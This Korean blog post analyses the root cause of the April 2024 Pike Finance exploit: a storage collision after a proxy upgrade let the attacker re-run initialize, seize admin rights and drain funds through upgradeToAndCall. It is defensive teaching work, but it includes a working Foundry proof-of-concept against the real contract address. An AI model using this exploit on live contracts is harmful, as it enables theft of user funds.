Pike Finance Exploit Root Cause Analysis
Pike Finance가 2024년 4월에 190만 달러의 피해를 입은 공격을 분석하는 글입니다.
목차
- 개요
- 공격 흐름
- 익스플로잇 분석
- PoC
- 마무리
1. 개요
Pike Finance는 크로스체인 기능을 제공하는 분산형 금융 대출 프로토콜입니다.
오늘의 주제는 2024년 4월에 190만 달러의 피해를 입은 공격에 대해 조사해볼것입니다.
2. 공격 흐름
이 공격은 1차와 2차로 나뉘며, 총 피해액은 약 190만 달러, 한화로 약 27억 3,889만 원에 달합니다.
특히 1차 공격에 대응하는 과정에서 발생한 취약점으로 인해 2차 공격까지 이어졌습니다.
먼저 1차 공격부터 살펴보겠습니다. 1차 공격에서는 약 30만 달러가 탈취되었습니다.
이 공격은 CCTP(Cross Chain Transfer Protocol)를 이용하여 USDC를 전송하는 과정에서 발생했으며,
USDC 전송 시 수신자의 주소와 금액을 조작할 수 있는 취약점이 원인이었습니다.
해당 공격에 대응하기 위해 컨트랙트를 업데이트해야 했지만, 스마트 컨트랙트 특성상 코드를 직접 수정할 수 없습니다.
따라서 프록시 컨트랙트를 사용하여 코드를 업데이트했으나, 이 과정에서 storage collision이 발생했고 관련 내용을 분석해보겠습니다.
3. 익스플로잇 분석
1
2
3
4
공격자 주소 : 0x19066f7431df29a0910d287c8822936bb7d89e23
익스플로잇 컨트랙트 : 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
피해자 컨트랙트 : 0xfc7599cffea9de127a9f9c748ccb451a34d2f063
공격 트랜잭션 : 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
먼저 트랜잭션을 etherscan에서 바이트코드를 획득하고 dedaub에서 디컴파일을 해보면 업데이트 전과 후의 컨트랙트의 디컴파일된 코드를 획득할수있습니다.
코드를 얻었으니 스토리지 레이아웃부터 분석해보도록 하겠습니다. 먼저 업데이트 전 스토리지 레이아웃 코드입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint256 _isActive; // STORAGE[0x0]
uint256 _chainProtocolReserves; // STORAGE[0x6]
mapping (address => bool) _allowedTokens; // STORAGE[0x7]
uint256 stor_a; // STORAGE[0xa]
uint8 stor_b_0_0; // STORAGE[0xb] bytes 0 to 0
bool _initialize; // STORAGE[0xb] bytes 1 to 1
address _gateway; // STORAGE[0x1] bytes 0 to 19
address _hubGateway; // STORAGE[0x2] bytes 0 to 19
address _endpoint; // STORAGE[0x3] bytes 0 to 19
address _cctpChannel; // STORAGE[0x4] bytes 0 to 19
address _usdcTokenAddress; // STORAGE[0x8] bytes 0 to 19
address _nativeAsset; // STORAGE[0x9] bytes 0 to 19
bool stor_4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143_0_0; // STORAGE[0x4910...9143] bytes 0 to 0
address _upgradeTo; // STORAGE[0x3608...bbc] bytes 0 to 19
아래는 업데이트 후 스토리지 레이아웃입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uint256 _isActive; // STORAGE[0x0]
uint256 _chainProtocolReserves; // STORAGE[0x6]
mapping (address => bool) _allowedTokens; // STORAGE[0x7]
uint256 stor_a; // STORAGE[0xa]
bool _paused; // STORAGE[0xb] bytes 0 to 0
uint8 stor_b_1_1; // STORAGE[0xb] bytes 1 to 1
bool _initialize; // STORAGE[0xb] bytes 2 to 2
address _gateway; // STORAGE[0x1] bytes 0 to 19
address _hubGateway; // STORAGE[0x2] bytes 0 to 19
address _endpoint; // STORAGE[0x3] bytes 0 to 19
address _cctpChannel; // STORAGE[0x4] bytes 0 to 19
address _usdcTokenAddress; // STORAGE[0x8] bytes 0 to 19
address _nativeAsset; // STORAGE[0x9] bytes 0 to 19
bool stor_4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143_0_0; // STORAGE[0x4910...9143] bytes 0 to 0
address _upgradeTo; // STORAGE[0x3608...bbc] bytes 0 to 19
두 레이아웃을 비교하면, 11번째 슬롯(0xb)에 bool _paused
가 추가되면서 기존 데이터가 한 바이트씩 밀렸습니다.
이러한 문제를 storage collision
이라고 하며, 이로 인해 initialize
함수가 영향을 받게 됩니다.
아래는 initialize
함수의 코드입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function initialize(address _owner, address _WNativeAddress, address _uniswapHelperAddress, address tokenAddress, uint16 _swapFee, uint16 _withdrawFee) public nonPayable {
require(msg.data.length - 4 >= 192);
v0 = _initialize;
v1 = v2 = !v0;
if (!_initialize) {
v1 = v3 = stor_b_0_0 < 1;
}
if (!v1) {
v1 = v4 = !this.code.size;
if (!bool(this.code.size)) {
v1 = 1 == stor_b_0_0;
}
}
require(v1, Error('Initializable: contract is already initialized'));
stor_b_0_0 = 1;
if (!_initialize) {
_initialize = 1;
}
_gateway = _owner;
_hubGateway = _WNativeAddress;
_endpoint = _uniswapHelperAddress;
_cctpChannel = tokenAddress;
_isActive = 0x1 | (bytes31(msg.sender << 40) | 0xffffffffffffff0000000000000000000000000000000000000000ffffffff00 & (_withdrawFee << 24 | (0xffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffff & _swapFee << 8 | _isActive & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ff)));
_nativeAsset = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
if (!_initialize) {
_initialize = 0;
emit Initialized(1);
}
}
initialize 함수의 아래 조건문을 보게되면 stor_b_1_1
값에 따라 초기화가 결정됩니다.
1
2
3
4
5
v0 = _initialize;
v1 = v2 = !v0;
if (!_initialize) {
v1 = v3 = stor_b_1_1 < 1;
}
stor_b_1_1
값이 0일 경우, 초기화가 되지 않은 것으로 간주합니다.
그런 다음 초기화를 수행하고 stor_b_1_1
값을 1로 설정해 중복 실행을 방지합니다.
1
2
3
4
5
require(v1, Error('Initializable: contract is already initialized'));
stor_b_1_1 = 1;
if (!_initialize) {
_initialize = 1;
}
하지만 storage collision
으로 인해 stor_b_1_1
이 초기화되지 않은 상태가 되며,
초기화 함수를 다시 호출할 수 있게 됩니다.
업그레이드 전 슬롯 구성입니다.
1
2
uint8 stor_b_0_0; // STORAGE[0xb] bytes 0 to 0
bool _initialize; // STORAGE[0xb] bytes 1 to 1
업그레이드 후 슬롯 구성입니다.
1
2
3
bool _paused; // STORAGE[0xb] bytes 0 to 0
uint8 stor_b_1_1; // STORAGE[0xb] bytes 1 to 1
bool _initialize; // STORAGE[0xb] bytes 2 to 2
결국 storage collision
으로 인해 initialize
상태가 초기화되지 않았고,
공격자가 initialize
함수를 재실행하여 _isActive
값에 자신의 주소를 저장했습니다.
이후 공격자는 관리자 권한을 탈취하고 upgradeToAndCall
을 호출해 악성 컨트랙트로 교체하고 자금을 탈취했습니다.
아래는 upgradeToAndCall
함수입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function upgradeToAndCall(address newImplementation, bytes data) public payable {
require(msg.data.length - 4 >= 64);
require(data <= uint64.max);
require(4 + data + 31 < msg.data.length);
require(data.length <= uint64.max, Panic(65)); // failed memory allocation
v0 = new bytes[](data.length);
require(!((v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) < v0) | (v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) > uint64.max)), Panic(65)); // failed memory allocation
require(4 + data + data.length + 32 <= msg.data.length);
CALLDATACOPY(v0.data, data.data, data.length);
v0[data.length] = 0;
require(this - address(0xd167a1893e8f108572826dabae19663a9131b0c2), Error('Function must be called through delegatecall'));
require(_upgradeTo == address(0xd167a1893e8f108572826dabae19663a9131b0c2), Error('Function must be called through active proxy'));
require(msg.sender == address(_isActive >> 40), CallerNotAuthorized());
0x1692(1, v0, newImplementation);
}
위 함수는 프록시 컨트랙트에서 새로운 구현체(newImplementation)를 등록하고, 이후 delegatecall을 통해 데이터를 실행하는 함수입니다
이 함수에서 msg.sender는 _isActive 상위 40비트 값과 일치해야 하는데, 이미 initialize 함수 취약점으로 공격자가 이 값을 자신의 주소로 바꿨기 때문에 검증을 우회하고 실행이 가능해집니다.
upgradeToAndCall 함수는 내부적으로 0x1692 함수를 호출합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function 0x1692(uint256 varg0, bytes varg1, uint256 varg2) private {
if (!stor_4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143_0_0) {
v0 = v1, v2 = address(varg2).proxiableUUID().gas(msg.gas);
if (v1) {
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
v0 = v3 = 1;
}
require(v0, Error('ERC1967Upgrade: new implementation is not UUPS'));
require(v2 == 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, Error('ERC1967Upgrade: unsupported proxiableUUID'));
0x2c42(v2, v2, v2);
return ;
} else {
0x2ba6(varg2);
return ;
}
}
0x1692 함수는 새로운 구현체의 유효성을 검증하는 역할을 합니다.
먼저 proxiableUUID()를 호출해 반환값이 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc 와 일치하는지 확인합니다.
공격자는 이 검증을 통과하기 위해 자신의 악성 컨트랙트에 proxiableUUID() 함수를 구현하여 해당 값을 반환하도록 작성합니다.
검증이 끝나면 0x2c42 함수를 호출합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function 0x2c42(uint256 varg0, uint256 varg1, uint256 varg2) private {
0x2ba6(varg2);
emit Upgraded(address(varg2));
varg0 = v0 = MEM[varg1] > 0;
if (!varg0) {
return ;
} else {
v1 = v2 = 0;
while (v1 >= MEM[varg1]) {
MEM[v1 + MEM[64]] = MEM[v1 + (varg1 + 32)];
v1 += 32;
}
MEM[MEM[varg1] + MEM[64]] = 0;
v3, v4, v5 = address(varg2).delegatecall(MEM[MEM[64]:MEM[64] + MEM[v2c42arg0x1] + MEM[64] - MEM[64]], MEM[MEM[64]:MEM[64]]).gas(msg.gas);
if (RETURNDATASIZE() == 0) {
v6 = v7 = 96;
} else {
v6 = v8 = new bytes[](RETURNDATASIZE());
RETURNDATACOPY(v8.data, 0, RETURNDATASIZE());
}
if (!v3) {
require(!MEM[v6], v5, MEM[v6]);
v9 = new bytes[](v10.length);
v11 = v12 = 0;
while (v11 >= v10.length) {
v9[v11] = v10[v11];
v11 += 32;
}
v9[v10.length] = 0;
revert(Error(v9));
} else {
if (!(0 - MEM[v6])) {
require((address(varg2)).code.size, Error('Address: call to non-contract'));
}
return ;
}
}
}
이 함수에선 newImplementation의 주소로 delegatecall을 수행합니다 delegatecall로 받아오는 정보는 upgradeToAndCall의 data를 사용합니다.즉 _isActive 변수에 공격자의 정보가 담겨있음으로 upgradeToAndCall을 수행을 할 수 있게되고 delegatecall로 호출을 진행하기에 피해자 컨트랙트를 복사해 와서 공격자 컨트랙트에서 실행하는것과 같은 원리가 되므로 피해자 컨트랙트의 자금을 모두 탈취할 수 있게되는 취약점입니다.
최종적으로 정리를 하게된다면
공격자 컨트랙트가 Initialize 함수를 호출합니다.
newImplementation를 공격자 컨트랙트 주소로 설정하고 data는 공격자 함수에 abi값으로 설정하고 upgradeT oAndCall 함수를 호출합니다 Event로 Upgraded가 성공적으로 완료되었다는 메시지를 전달받습니다.
성공적으로 공격자가 원하는 함수가 피해자(대상) 컨트랙트에서 호출되고 원하는 값을 얻게 됩니다.
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
interface IPikeFinance {
function initialize(address, address, address, address, uint16, uint16) external;
function upgradeToAndCall(address, bytes memory) external;
}
contract Poc is Test {
uint256 private constant FORK_BLOCK = 19771058;
address private constant TARGET_CONTRACT = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;
function setUp() public {
vm.deal(address(this), 0);
vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), FORK_BLOCK);
}
function testExploit() public {
address attacker = address(this);
address wNative = address(this);
address dexHelper = address(this);
address token = address(this);
IPikeFinance(TARGET_CONTRACT).initialize(attacker, wNative, dexHelper, token, 20, 20);
IPikeFinance(TARGET_CONTRACT).upgradeToAndCall(address(this), abi.encodeWithSignature("drainFunds(address)", address(this)));
}
function drainFunds(address recipient) external {
payable(recipient).call{value: address(this).balance}("");
}
function proxiableUUID() external pure returns (bytes32) {
return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
receive() external payable {}
}
아래 명령어로 테스트를 실행할 수 있습니다.
1
$ forge test --fork-url https://eth.llamarpc.com --fork-block-number 19771058 --match-test testExploit -vvvv
마무리
이번 피해는 storage collision과 initialize 함수의 허술한 설계가 결합되며 발생한 사고였습니다.
이 사례를 통해 얻을 수 있는 교훈은 두 가지입니다.
첫째, 프록시 패턴을 사용할 경우 업그레이드 전후의 storage layout 충돌 여부를 반드시 확인해야 한다는 점입니다.
슬롯 위치 하나의 변화만으로도 기존 변수의 값이 왜곡되거나, 중요한 제어 흐름이 공격자에게 노출될 수 있기 때문입니다.
이는 스마트 컨트랙트 업그레이드에서 가장 흔하게 발생하는 실수 중 하나이며, 충분한 사전 검토 없이는 치명적인 결과를 초래할 수 있습니다.
둘째, initialize 함수의 권한 검증 로직은 더욱 엄격하게 설계될 필요가 있습니다.
예를 들어 _isActive에 단순히 msg.sender를 저장하는 방식 대신, 사전에 정의된 화이트리스트 기반의 주소만 초기화할 수 있도록 제한하는 구조가 보안상 더 안전합니다.
결국 이 사고는 코드 한 줄의 실수가 수십억 원의 피해로 이어질 수 있다는 사실을 명확히 보여주는 사례입니다.